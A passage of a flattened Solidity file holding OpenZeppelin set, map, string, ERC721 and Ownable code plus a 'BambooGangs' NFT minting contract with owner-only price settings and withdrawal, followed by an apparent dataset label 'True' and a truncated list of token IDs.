}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0)
{
return "0";
}
uint256 j = value;
uint256 length;
while (j != 0)
{
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint256 k = length;
j = value;
while (j != 0)
{
bstr[--k] = bytes1(uint8(48 + j % 10));
j /= 10;
}
return string(bstr);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BambooGangs.sol
/**
* @title BambooGangs contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract BambooGangs is ERC721, Ownable {
using SafeMath for uint256;
uint256 public mintPrice;
uint256 public maxToMint;
uint256 public MAX_PANDA_SUPPLY;
uint256 public REVEAL_TIMESTAMP;
bool public saleIsActive;
address walletToWithdraw;
constructor(string memory baseURI_) ERC721("Bamboo Gangs", "BMBOO") {
MAX_PANDA_SUPPLY = 10000;
REVEAL_TIMESTAMP = 1634212800; // 14.10.2021 12:00:00 GMT
mintPrice = 100000000000000000; // 0.1 ETH
maxToMint = 30;
saleIsActive = true;
walletToWithdraw = 0xd94D4F3865b12D60A9F6884635233627Af31E94C;
_setBaseURI(baseURI_);
}
/**
* Get the array of token for owner.
*/
function tokensOfOwner(address _owner) external view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
for (uint256 index; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
/**
* Check if certain token id is exists.
*/
function exists(uint256 _tokenId) public view returns (bool) {
return _exists(_tokenId);
}
/**
* Set price to mint a mintPandas.
*/
function setMintPrice(uint256 _price) external onlyOwner {
mintPrice = _price;
}
/**
* Set maximum count to mint per once.
*/
function setMaxToMint(uint256 _maxValue) external onlyOwner {
maxToMint = _maxValue;
}
/**
* Set timestamp to start sale sale.
*/
function setRevealTimestamp(uint256 _revealTimeStamp) external onlyOwner {
REVEAL_TIMESTAMP = _revealTimeStamp;
}
function setBaseURI(string memory baseURI) external onlyOwner {
_setBaseURI(baseURI);
}
/*
* Pause sale if active, make active if paused
*/
function setSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* Mints tokens
*/
function mintPandas(uint256 numberOfTokens) external payable {
require(saleIsActive, "Sale must be active to mint");
require(block.timestamp > REVEAL_TIMESTAMP, "Sale must be started");
require(numberOfTokens <= maxToMint, "Invalid amount to mint per once");
require(totalSupply().add(numberOfTokens) <= MAX_PANDA_SUPPLY, "Purchase would exceed max supply");
require(mintPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct");
for(uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = totalSupply();
if (totalSupply() < MAX_PANDA_SUPPLY) {
_safeMint(msg.sender, mintIndex);
}
}
}
/**
* Get tokens URI
*/
function getTokensURI(uint256[] memory tokenIds) external view returns (string[] memory) {
uint256 tokenIdsLength = tokenIds.length;
for (uint256 index; index < tokenIdsLength; index++) {
require(exists(tokenIds[index]), "Token does not exist");
}
if (tokenIdsLength == 0) {
return new string[](0);
} else {
string[] memory result = new string[](tokenIds.length);
for (uint256 index; index < tokenIdsLength; index++) {
result[index] = tokenURI(tokenIds[index]);
}
return result;
}
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(walletToWithdraw).transfer(balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2260,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
